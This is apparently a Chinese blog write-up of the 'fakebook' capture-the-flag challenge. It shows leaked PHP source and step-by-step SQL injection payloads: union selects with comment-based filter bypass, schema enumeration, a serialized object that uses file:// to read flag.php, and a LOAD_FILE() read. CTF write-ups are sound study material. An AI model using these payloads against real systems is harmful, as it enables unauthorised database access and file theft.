当前位置:网站首页>Offensive and defensive world - fakebook
Offensive and defensive world - fakebook
2022-08-08 08:04:00 【stealth rookie】
/user.php.bak发现一个PHP文本,means createuser然后从url里get信息,同时blog有一个正则匹配,需要有https://
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url) //函数
{
$ch = curl_init(); // 创建一个新cURL资源
curl_setopt($ch, CURLOPT_URL, $url); // 设置URL和相应的选项
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
// 抓取URL并把它传递给浏览器
$output = curl_exec($ch);
// curl_getinfo 获取一个cURL连接资源句柄的信息,$ch由 curl_init() 返回的 cURL 句柄. CURLINFO_HTTP_CODE 最后一个收到的HTTP代码
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch); // 关闭cURL资源,并且释放系统资源
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
//在blog中要匹配到https://
}
注册成功
点击username里的1
url中有no=1,可以尝试一下,是否有注入(and 1=1不报错,and 1=2报错,所以存在sql注入)
order by 4不报错,order by 5报错,所以有四个字段
Try querying the database name,然后被拦截
尝试绕过,/**/可以绕过,发现2是回显点
得到当前数据库为fakebook
-1 /**/union /**/ select 1,group_concat(table_name) ,3,4 from information_schema.tables where table_schema="fakebook"#
获得了一个users表
-1 /**/union /**/ select 1,group_concat(column_name) ,3,4 from information_schema.columns where table_schema="fakebook"#
获取字段名
查看data,The registration information was found to be serialized,网上的wp,They scan directories,有一个flag.php在/var/www/html里面,Construct the deserialization statement
第一种方式:
adopt structurefile协议去读取/var/www/html/flag.php的内容(fileProtocols are mainly used to access computer local files,基本格式为:file:///文件路径
-1 /**/union /**/ select 1,2 ,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#
然后查看源码,将其解码
第二种方式:
在MySQL中,LOAD_FILE()函数读取一个文件并将其内容作为字符串返回.
-1 /**/union /**/ select 1,load_file('/var/www/html/flag.php') ,3,4#
查看源码,flag在源码中
边栏推荐
猜你喜欢
BLE安全之配对流程剖析(2)
ES日期时间格式化参数集锦
[Regression prediction] Gaussian process regression based on GPML toolbox with matlab code
jupyter notebook处理文件导致IOPub data rate exceeded
PHR-search:一个基于预测蛋白质层次关系的蛋白质远程同源性检测搜索框
shell循环语句
Adapt-Kcr:基于学习嵌入特征和注意力架构的新型深度学习框架,用于精确预测赖氨酸(crotonylation)位点
动手学数理统计(2)
论文翻译:《6mAPred-MSFF:基于多尺度特征融合机制预测跨物种DNA N6-甲基腺嘌呤位点的深度学习模型》
图数据科学和机器学习图数据科学GDS概览
随机推荐
蓝牙Mesh简介
攻防世界——web2
VISIO 2003 在线更新的注册文件
lvm建立逻辑卷
C语言内存分配相关知识
论文翻译:《6mAPred-MSFF:基于多尺度特征融合机制预测跨物种DNA N6-甲基腺嘌呤位点的深度学习模型》
IIC通讯协议与EEPROM简介
大文件上传时如何做到 秒传?
动手学数理统计(1)
剑指offer专项突击版第23天
Task01:PyTorch模型定义
单片机裸机编程中实用驱动分享
在 TensorFlow 中构建 3D-CNN
云服务器搭建MQTT消息代理EMQX
C语言——按照指定分割符分割字符串
【树莓派】vim编辑器
CoCube显示测试笔记
【vulhub】PostGresql高权限命令执行漏洞复现(CVE-2019-9193)
想用sql实现两日数据对比后,对新增数据单加一列标签
数控机床工作平台位置伺服系统的的数学建模与仿真